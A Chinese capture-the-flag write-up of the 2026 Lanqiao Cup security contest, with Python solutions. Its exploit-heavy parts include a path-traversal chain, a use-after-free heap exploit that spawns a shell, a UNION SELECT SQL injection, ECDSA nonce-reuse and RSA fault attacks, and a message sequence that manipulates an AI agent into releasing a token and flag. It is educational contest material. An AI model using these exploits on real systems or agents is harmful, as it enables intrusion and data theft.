2026年第十七届蓝桥杯网络安全赛项WriteUp

解题情况

比赛还剩一小时左右时截图

++题型:情报收集++

题目名:map_tracer

查看js源码得到信息,访问/app.js可以得到app.js.map文件

用记事本打开,可以得到关键信息

接口:/api/trace/internal/list

签名值:trace_dev_2026

签名算法:function buildSignature(path, ts) { return md5(`{path}{ts}${SIGN_SALT}`); }

整体思路就是:确定签名拼接规则与固定盐值,使用 Python 获取当前时间戳,按照规则拼接字符串并进行MD5加密生成合法 sign,拼接带ts、sign参数的请求URL,发送 GET请求访问目标接口,解析返回JSON,提取remark字段内容,对Base64字符串解码,输出拿到FLAG

python 复制代码
import time
import hashlib
import base64
import requests

INTERNAL_ENDPOINT = "/api/trace/internal/list"
SIGN_SALT = "trace_dev_2026"
URL = "IP:端口"

# 生成签名
def buildSignature(path, ts):
    raw_str = f"{path}{ts}{SIGN_SALT}"
    return hashlib.md5(raw_str.encode()).hexdigest()

def main():
    # 获取当前时间戳
    ts = str(int(time.time()))
    # 生成合法签名
    sign = buildSignature(INTERNAL_ENDPOINT, ts)
    # 拼接请求URL
    target_url = f"{URL}{INTERNAL_ENDPOINT}?ts={ts}&sign={sign}"

    try:
        # 发送GET请求
        res = requests.get(target_url, timeout=10)
        res.raise_for_status()

        # 解析JSON响应
        data = res.json()
        # 提取base64加密的flag
        b64_flag = data["tracks"][0]["remark"]
        # base64解码得到真实flag
        real_flag = base64.b64decode(b64_flag).decode()

        print("[+] FLAG:", real_flag)
    except Exception as e:
        print("[-] 错误:", e)

if __name__ == "__main__":
    main()

FLAG值:动态

++题型:数据分析++

题目名:wal_recover

将app.db-wal文件放到随波逐流里

得到:**ZmxhZ3tkNGZi],**进行base64解码

是一部分的flag,用记事本再打开该文件,搜索flag头在哪个位置

可以看到还有其他的base64编码,观察到flag头的时间是最早的,就可以根据时间对这些base64进行拼接再解码,得到:ZmxhZ3tkNGZiZTdkNy04YWY4LTQ1MjMtOTgzZi01ODA1NTA2ZGIyNmV9

解码得到flag:flag{d4fbe7d7-8af8-4523-983f-5805506db26e}

题目名:drift_oracle

根据txt文件给了提示,对csv文件中的监测序列拟合一条线性趋势并扣除,得到残差,从280号样本后观察残差,会发现异常点周期性出现,周期为3,将这些周期异常点按照正负、高低残差还原成bit,前16bit解析:0000000000101010 = 42说明payload长度是42字节,继续读取后续 42 * 8 = 336 bit,按8bit一组转ASCII,即可得到flag

python 复制代码
#!/usr/bin/env python3
import csv
import string

CSV = "monitor.csv"
START_HINT = 280
PERIOD = 3

# read data
xs, ys = [], []
with open(CSV, newline="") as f:
    for row in csv.DictReader(f):
        xs.append(float(row["idx"]))
        ys.append(float(row["value"]))

n = len(xs)

# linear calibration: y = a*x + b
sx = sum(xs)
sy = sum(ys)
sxx = sum(x * x for x in xs)
sxy = sum(x * y for x, y in zip(xs, ys))

a = (n * sxy - sx * sy) / (n * sxx - sx * sx)
b = (sy - a * sx) / n

res = [y - (a * x + b) for x, y in zip(xs, ys)]

# find anomaly phase modulo PERIOD after sample 280
best_phase = None
best_score = -1

for phase in range(PERIOD):
    vals = [
        abs(res[i])
        for i in range(len(res))
        if i > START_HINT and i % PERIOD == phase
    ]
    vals.sort(reverse=True)
    score = sum(vals[:80]) / 80
    if score > best_score:
        best_score = score
        best_phase = phase

idxs = [i for i in range(len(res)) if i > START_HINT and i % PERIOD == best_phase]

def bits_to_bytes(bits):
    out = []
    for i in range(0, len(bits), 8):
        byte = bits[i:i+8]
        if len(byte) < 8:
            break
        out.append(int("".join(map(str, byte)), 2))
    return bytes(out)

def printable(bs):
    return all(chr(c) in string.printable for c in bs)

for invert in [False, True]:
    bits = []
    for i in idxs:
        bit = 1 if res[i] > 0 else 0
        if invert:
            bit ^= 1
        bits.append(bit)

    length = int("".join(map(str, bits[:16])), 2)  # big endian
    payload_bits = bits[16:16 + length * 8]
    payload = bits_to_bytes(payload_bits)

    if length > 0 and printable(payload):
        print("[+] phase:", best_phase)
        print("[+] invert:", invert)
        print("[+] length:", length)
        print("[+] payload:", payload.decode(errors="ignore"))

FLAG值:flag{a91b0bbf-e6fd-42dd-b9a6-5ef4f2bc695f}

++题型:密码破解++

题目名:seed_receipt

先根据生成脚本复现随机数流程,再用receipt里的时间戳、订单号和密文反推出明文flag,依据是:generator.py的掩码由ts ^ order_id种子生成,且会先消耗6位校验码随机数,receipt.txt给出了对应参数和密文。

python 复制代码
import random

ts = 1715071200
order_id = 2024042701
cipher = bytes.fromhex(
    "246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a"
)

seed = ts ^ order_id
random.seed(seed)

# 先消耗 6 次 randint(0, 9),对应 build_check_code
check_code = "".join(str(random.randint(0, 9)) for _ in range(6))
print("check_code =", check_code)

# 再生成 mask 解密
mask = bytes(random.randint(0, 255) for _ in range(len(cipher)))
flag = bytes(c ^ m for c, m in zip(cipher, mask))

print(flag.decode())

FLAG值:flag{44ba9b4f-b616-4d2f-b0f1-44a144b79b6e}

题目名:double_sign

连接容器,观察题目参数,两组签名r一致,判定存在ECDSA随机数k重用漏洞。利用过程:对两条已知消息做SHA256哈希,转换为大整数 z1、z2,同时计算目标管理员消息哈希,利用两组s值与哈希值,通过代数公式消去私钥,推导出随机数的模逆,代入公式计算出目标消息的合法签名分量

python 复制代码
import hashlib

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

z1 = 35803318665405666032048798908400774075259419311739592886871963585749689690594
z2 = 39793284188129639924973014131124626058788493396861207842790576967009843273958
s1 = 50299823274630071383103819756925571651617257809878759631948693535171140512049
s2 = 55520076861554262741677107652353499562906081920501068121345625361837220482936
r  = 58206291912047493001270768302978838281743794200134829962960013685718525623357

target_msg = b"role=admin&action=read_flag"
z_target = int.from_bytes(hashlib.sha256(target_msg).digest(), 'big')

def inv(a, m):
    return pow(a, -1, m)

k_inv = ((s1 - s2) * inv((z1 - z2) % n, n)) % n
s_target = (s1 + k_inv * (z_target - z1)) % n
s_target %= n  # Ensure 0 < s < n
if s_target == 0:
    s_target = 1

print(f"r = {r}")
print(f"s = {s_target}")
print()

得到r和s,输入到容器上即可得到flag

FLAG值:动态

题目名:faulty_stamp

先根据给出的task.py判断故障签名的攻击面,再用output.txt的参数恢复私钥并解密cipher

python 复制代码
from math import gcd

n = 4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529
e = 65537
s_good = 1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991
s_fault = 3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060
cipher = 2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111

p = gcd(s_good - s_fault, n)
q = n // p
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
plain_int = pow(cipher, d, n)

hex_str = hex(plain_int)[2:]
flag = bytes.fromhex(hex_str).decode('ascii')

print("="*50)
print("[+] 解密得到的十进制数字:", plain_int)
print("[+] 转换16进制:", hex_str)
print("\n[+] FLAG是:" + flag + "")
print("="*50)

FLAG值:flag{6148be08-c5ad-4dd8-9878-27894628e8cc}

++题型:逆向分析++

题目名:veil_gate

通过panel.datTPK2后的 4 字节密文,与固定值5aa56c3d逐字节异或解密得到关键参数:seed=0x26、key2=0x5f、key_len=0x10、flag_len=0x26(38 位);核心算法为 rol8 循环移位 + S 盒替换 + 多段异或 / 加法 + 位置置换,逆向算法即可还原 flag

python 复制代码
from pathlib import Path

def rol8(x, n):
    n &= 7
    return ((x << n) | (x >> (8 - n))) & 0xff

p = Path("panel.dat").read_bytes()

hdr = bytes(a ^ b for a, b in zip(p[4:8], bytes.fromhex("5aa56c3d")))
seed, k2, key_len, flag_len = hdr

A = p[8:32]
B = p[32:160]
C = p[160:288]
D = p[288:352]
T = p[352:416]

key = []
x = seed
for i, v in enumerate(A):
    key.append((((i & 3) * 7 + 0x33) ^ (v ^ x)) & 0xff)
    x = (x + 0xb) & 0xff

sbox = [0] * 256
for i in range(128):
    sbox[2 * i] = B[i] ^ key[i % key_len]
    sbox[2 * i + 1] = C[i] ^ key[(i + 5) % key_len]

inv = [0] * 256
for i, v in enumerate(sbox):
    inv[v] = i

stream = []
for i in range(64):
    stream.append((D[i] ^ ((i + 0x5d) & 0xff) ^ key[(3 * i + 1) % key_len]) & 0xff)

n = flag_len
tmp = [0] * n

edi = int.from_bytes(hdr[:2], "little")
edi = ((edi << 8) | (edi >> 8)) & 0xffff
r8 = 3
r9 = 1

for i in range(n):
    cl = T[i]
    idx = (edi + i + stream[i]) % key_len
    want = (cl - rol8(edi & 0xff, i) - i) & 0xff
    tmp[i] = inv[want] ^ key[idx]

    edi = (edi * 0x83) & 0xffffffff
    edi ^= stream[r8 % n]
    r8 += 7
    edi = (key[r9 % key_len] + ((cl ^ edi) & 0xffffffff)) & 0xffffffff
    r9 += 5

used = [0] * 64
for i in range(n):
    used[stream[i] % n] = 1

flag = [0] * n
for i in range(n):
    t = tmp[i]
    if not used[i]:
        t ^= (k2 + i) & 0xff

    pos = stream[i] % n
    v = ((t - rol8(seed, i)) & 0xff) ^ key[(pos + i) % key_len]

    if i % 2 == 0:
        v = rol8(v, 4)

    flag[pos] = v

print(bytes(flag).decode())

FLAG值:flag{9d7a228ca5825bc15cd60bee0bb6d585}

++题型:漏洞挖掘分析++

题目名:path_slip

1.目录别名绕过

服务器目录配置存在缺陷,常规../路径穿越被拦截,使用/assets../meta/可跨目录访问同级/meta资源

2.获取基础参数

访问/assets/readme.txt,从响应头X-Mirror-Rail提取参数:space=cards、截取范围window=6:18;会话持久化保留sid Cookie

3.动态文件枚举

固定标签:knock、dance、salt、route、echo

文件名算法:

python 复制代码
sha256(sid|label|cards).hexdigest()[6:18] + .txt

拼接绕过路径,批量读取 meta 目录下加密卡片文件

4.特殊请求获取凭证

/oracle发送HEAD请求,携带请求头X-Knock: hush,响应头获取X-Trace

5.Slot 换位处理

截取X-Trace前 8 位,两两字符交换,拼接得到 slot 值。

6.Token 哈希计算

加密规则:

python 复制代码
sha256(sid.X-Trace.slip_route_v3).hexdigest()[:16]

7.最终链路拿 Flag

访问/stage/{slot}/pose?token=xxx,获取响应头X-Ticket-Hint

携带 Hint 请求/vault/{slot}/pass?token=xxx,最终获取 Flag

python 复制代码
import hashlib
import requests
import re
import warnings
warnings.filterwarnings("ignore")  # 关闭SSL警告

URL = "IP:端口"

# 会话保持Cookie
s = requests.Session()
s.verify = False

# 1. 获取sid
s.get(URL)

# 2. 读取readme,提取space和window
resp = s.get(URL + "/assets/readme.txt")
rail = resp.headers.get("X-Mirror-Rail")
match = re.search(r"space=([^;]+);window=(\d+):(\d+)", rail)
space, start, end = match[1], int(match[2]), int(match[3])
sid = s.cookies["sid"]

# 3. 读取5张卡片
labels = ["knock", "dance", "salt", "route", "echo"]
for label in labels:
    data = f"{sid}|{label}|{space}"
    fname = hashlib.sha256(data.encode()).hexdigest()[start:end] + ".txt"
    s.get(URL + f"/assets../meta/{fname}")

# 4. HEAD请求/oracle获取X-Trace
req = requests.Request("HEAD", URL + "/oracle", headers={"X-Knock": "hush"})
trace = s.send(s.prepare_request(req)).headers.get("X-Trace")

# 5. 前8位两两交换得到slot
tb = list(trace[:8])
for i in range(0,8,2):
    tb[i], tb[i+1] = tb[i+1], tb[i]
slot = "".join(tb)

# 6. 计算token
token_raw = f"{sid}.{trace}.slip_route_v3"
token = hashlib.sha256(token_raw.encode()).hexdigest()[:16]

# 7. 获取ticket hint
hint = s.get(URL + f"/stage/{slot}/pose?token={token}").headers.get("X-Ticket-Hint")

# 8. 拿flag
flag = s.get(URL + f"/vault/{slot}/pass?token={token}", headers={"X-Ticket-Hint": hint}).text

print("[+] Flag:", flag)

FLAG值:动态

题目名:note_heap

这是一道UAF的堆题,

根据main函数,可以看到主动泄露了地址:

cpp 复制代码
printf("debug slot: %p\n", ops);
printf("ops chunk: %p\n", ops);

保护全开,根据关键泄露:程序启动直接打印 ops 结构体地址

利用思路:触发 UAF 篡改 fastbin 的 fd 指针,指向 ops-0x10 伪造堆块;重新申请堆块,分配到 ops 结构体;通过 show 读取 ops 中 free 地址,计算 libc 基址和 system 地址;覆盖 ops 中函数指针为 system,传入 /bin/sh 触发执行,getshell 读 flag

python 复制代码
#!/usr/bin/env python3
from pwn import *

HOST = 'IP' 
PORT = 端口          

FREE_OFF   = 0x97910
SYSTEM_OFF = 0x4f420

context.binary = './note_heap'
context.arch = 'amd64'
context.log_level = 'info'

io = remote(HOST, PORT)

io.recvuntil(b'debug slot: ')
debug_slot = int(io.recvline().strip(), 16)
io.recvuntil(b'ops chunk: ')
ops = int(io.recvline().strip(), 16)
io.recvuntil(b'> ')

log.success(f'debug_slot = {hex(debug_slot)}')
log.success(f'ops        = {hex(ops)}')

sizes = {}
ptrs = {}

def add(idx, size, data):
    sizes[idx] = size
    io.sendline(b'1')
    io.recvuntil(b'idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'size: ')
    io.sendline(str(size).encode())
    ptr = int(io.recvline().strip().split(b': ')[1], 16)
    ptrs[idx] = ptr
    io.recvuntil(b'data: ')
    io.send(data)
    io.recvuntil(b'> ')
    return ptr

def edit(idx, data):
    io.sendline(b'2')
    io.recvuntil(b'idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'data: ')
    io.send(data)
    io.recvuntil(b'> ')

def show(idx):
    io.sendline(b'3')
    io.recvuntil(b'idx: ')
    io.sendline(str(idx).encode())
    data = io.recvn(sizes[idx])
    io.recvn(1)
    io.recvuntil(b'> ')
    return data

def delete(idx):
    io.sendline(b'4')
    io.recvuntil(b'idx: ')
    io.sendline(str(idx).encode())
    io.recvuntil(b'done\n')
    io.recvuntil(b'> ')

def trigger(idx):
    io.sendline(b'4')
    io.recvuntil(b'idx: ')
    io.sendline(str(idx).encode())

victim = add(0, 0x68, b'A'*8)
log.info(f'victim     = {hex(victim)}')
delete(0)
edit(0, p64(ops - 0x10))
add(1, 0x68, b'B'*8)
fake = add(2, 0x68, b'Z'*8)
log.success(f'fake       = {hex(fake)}')


leak = show(2)
free_leak = u64(leak[0x18:0x20])
libc_base = free_leak - FREE_OFF
system = libc_base + SYSTEM_OFF

log.success(f'free_leak  = {hex(free_leak)}')
log.success(f'libc_base  = {hex(libc_base)}')
log.success(f'system     = {hex(system)}')

edit(2, b'A'*0x10 + p64(0) + p64(system))

add(3, 0x20, b'/bin/sh\x00')
trigger(3)

io.sendline(b'id; cat /flag 2>/dev/null; cat /root/flag 2>/dev/null; echo DONE')
print(io.recvuntil(b'DONE', timeout=3).decode('latin-1', 'ignore'))

io.interactive()

FLAG值:动态

++题型:数据库安全++

题目名:report_archive

思路就是:提交联合查询注入 Payload,读取系统配置表 system_kv 数据,触发后台生成报表任务,等待任务完成,下载 CSV 格式报表,从报表数据中正则匹配提取 flag,方法:利用 UNION SELECT 绕过原查询,直接查询存储敏感信息的系统配置表,将结果写入报表

python 复制代码
#!/usr/bin/env python3
import csv
import io
import re
import sys
import time
import requests
import urllib3

# 关闭SSL不安全请求警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 目标地址
TARGET_URL = ''
FLAG_PATTERN = re.compile(r'(?:flag)\{.*?\}', re.I)


# 保存注入规则
def save_rule(session, rule):
    res = session.post(f'{TARGET_URL}/report/save', data={'rule': rule}, timeout=(5, 10))
    res.raise_for_status()
    return res.json()['rule_id']


# 提交生成报表任务
def run_report(session):
    res = session.post(f'{TARGET_URL}/report/run', timeout=(5, 10))
    res.raise_for_status()
    return res.json()['job_id']


# 等待任务执行完成
def wait_job(session, job_id, max_times=20, wait_time=0.7):
    for _ in range(max_times):
        time.sleep(wait_time)
        res = session.get(f'{TARGET_URL}/report/status', params={'id': job_id}, timeout=(5, 10))
        res.raise_for_status()
        data = res.json()
        status = data.get('status')

        if status == 'ready':
            return data['export_id']  # 任务完成,返回文件ID
        if status == 'failed':
            raise RuntimeError(f"任务执行失败:{job_id}")
    raise TimeoutError('任务超时')


# 下载CSV报表文件
def download_csv(session, export_id):
    res = session.get(f'{TARGET_URL}/report/download', params={'id': export_id}, timeout=(5, 10))
    res.raise_for_status()
    return res.text


# 解析CSV内容
def parse_csv(csv_content):
    reader = csv.DictReader(io.StringIO(csv_content))
    return list(reader)


# 核心攻击流程
def attack(payload):
    session = requests.Session()
    session.verify = False  # 不验证SSL证书

    # 1. 保存注入Payload
    rule_id = save_rule(session, payload)
    # 2. 触发报表生成
    job_id = run_report(session)
    # 3. 等待任务完成
    export_id = wait_job(session, job_id)
    # 4. 下载结果文件
    csv_content = download_csv(session, export_id)
    # 5. 解析数据
    data_rows = parse_csv(csv_content)

    return rule_id, job_id, export_id, data_rows, csv_content


def main():
    # SQL注入Payload:查询系统配置表 system_kv
    sql_payload = "1=0) UNION SELECT id,config_key||':'||config_value,1 FROM system_kv--"

    print(f'[+] 目标地址:{TARGET_URL}')
    print(f'[+] 注入语句:{sql_payload}')

    # 执行攻击
    rule_id, job_id, export_id, data_rows, csv_content = attack(sql_payload)

    print(f'[+] 规则ID:{rule_id}')
    print(f'[+] 任务ID:{job_id}')
    print(f'[+] 文件ID:{export_id}')
    print('[+] CSV结果:')
    print(csv_content.rstrip())

    # 匹配flag
    all_text = '\n'.join(','.join(row.values()) for row in data_rows)
    flag = FLAG_PATTERN.search(all_text)

    if not flag:
        print('[-] 未找到flag')
        sys.exit(1)

    print(f'[+] 成功获取flag:{flag.group(0)}')


if __name__ == '__main__':
    main()

FLAG值:动态

++题型:AI安全++

题目名:agent_shadow

提供 /chat 接口,采用POST+JSON 传参,通过传入指定 message 指令触发后端逻辑,流程强依赖执行顺序。

利用步骤:

python 复制代码
1.发送指令:search: bridge token,缓存桥接授权令牌;
2.发送指令:plan: process audit_token task,创建审计任务;
3.发送指令:Please process audit_token task.,执行任务。

最终接口返回数据的 reply 字段即为 Flag。

python 复制代码
import time
import logging
from typing import Dict, Any, Optional
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

BASE_URL = "IP:端口"
MAX_RETRY = 5
TIMEOUT = 15
RETRY_DELAY = 1

# 日志配置
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S"
)
logger = logging.getLogger(__name__)


class ChatClient:
    """API 请求客户端"""
    def __init__(self, base_url: str, max_retries: int = 5, timeout: int = 15):
        self.base_url = base_url.rstrip('/')
        self.timeout = timeout
        self.session = self._create_session(max_retries)

    def _create_session(self, max_retries: int) -> requests.Session:
        # 创建带重试的会话
        session = requests.Session()
        session.trust_env = False

        retry_strategy = Retry(
            total=max_retries,
            backoff_factor=RETRY_DELAY,
            status_forcelist=[429, 500, 502, 503, 504],
            allowed_methods=["POST"]
        )

        adapter = HTTPAdapter(max_retries=retry_strategy)
        session.mount("http://", adapter)
        session.mount("https://", adapter)

        requests.packages.urllib3.disable_warnings()
        return session

    def send_message(self, message: str) -> Dict[str, Any]:
        # 发送聊天指令
        url = f"{self.base_url}/chat"
        payload = {"message": message}

        for attempt in range(1, MAX_RETRY + 1):
            try:
                logger.info(f"发送消息: {message}")
                resp = self.session.post(
                    url, json=payload, timeout=self.timeout, verify=False
                )
                resp.raise_for_status()
                data = resp.json()
                logger.info(f"响应: {data}")
                return data

            except requests.RequestException as exc:
                logger.warning(f"第 {attempt}/{MAX_RETRY} 次请求失败: {exc}")
                if attempt == MAX_RETRY:
                    logger.error(f"消息发送失败: {message}")
                    raise RuntimeError("请求重试失败") from exc
                time.sleep(RETRY_DELAY)

        raise RuntimeError("send_message 执行异常")

    def close(self):
        self.session.close()


class TaskExecutor:
    """任务执行器"""
    def __init__(self, client: ChatClient):
        self.client = client

    def cache_bridge_token(self) -> Dict[str, Any]:
        # 步骤1:缓存令牌
        return self.client.send_message("search: bridge token")

    def generate_audit_plan(self) -> Dict[str, Any]:
        # 步骤2:生成审计计划
        return self.client.send_message("plan: process audit_token task")

    def process_audit_task(self) -> Optional[str]:
        # 步骤3:执行任务获取FLAG
        res = self.client.send_message("Please process audit_token task.")
        return res.get("reply", "<未获取到FLAG>")


def main() -> None:
    logger.info("开始获取FLAG...")
    try:
        client = ChatClient(BASE_URL, MAX_RETRY, TIMEOUT)
        executor = TaskExecutor(client)

        logger.info("步骤1:缓存令牌")
        executor.cache_bridge_token()

        logger.info("步骤2:生成审计计划")
        executor.generate_audit_plan()

        logger.info("步骤3:执行审计任务")
        flag = executor.process_audit_task()

        logger.info("=" * 50)
        logger.info(f"成功获取FLAG: {flag}")
        logger.info("=" * 50)

    except Exception as exc:
        logger.error(f"任务失败: {exc}", exc_info=True)
        raise
    finally:
        if 'client' in locals():
            client.close()
            logger.info("会话已关闭")


if __name__ == "__main__":
    main()

FLAG值:动态

相关推荐
谪星·阿凯2 小时前
电商系统Web渗透测试实战指南
前端·网络·安全·web安全·网络安全
黎阳之光3 小时前
视频孪生赋能智慧能源园区:黎阳之光打造全域数智化新标杆
大数据·人工智能·算法·安全·数字孪生
YaBingSec3 小时前
玄机靶场—Apache-druid(CVE-2021-25646) WP
java·开发语言·笔记·安全·php·apache
jinanwuhuaguo3 小时前
生态融合与基座成型——OpenClaw v2026.4.24 的功能完备性跃迁与基础设施化拐点(第七篇)
人工智能·安全·架构·kotlin·openclaw
桌面运维家3 小时前
服务器负载均衡异常流量监控与安全防护实战
服务器·安全·负载均衡
深邃-3 小时前
【Web安全】-Kali,Linux配置(1):Kali网络配置,LinuxEnvConfig配置脚本,APT源的讲解,Kali设置中文
linux·运维·开发语言·网络·安全·web安全·网络安全
FinTech老王4 小时前
突破批处理瓶颈:KingbaseES并行DML技术如何榨干多核CPU性能
数据库·安全·oracle
味悲4 小时前
SQL预编译学习笔记
安全·sql注入
雾岛听蓝4 小时前
物联网安全简介
物联网·安全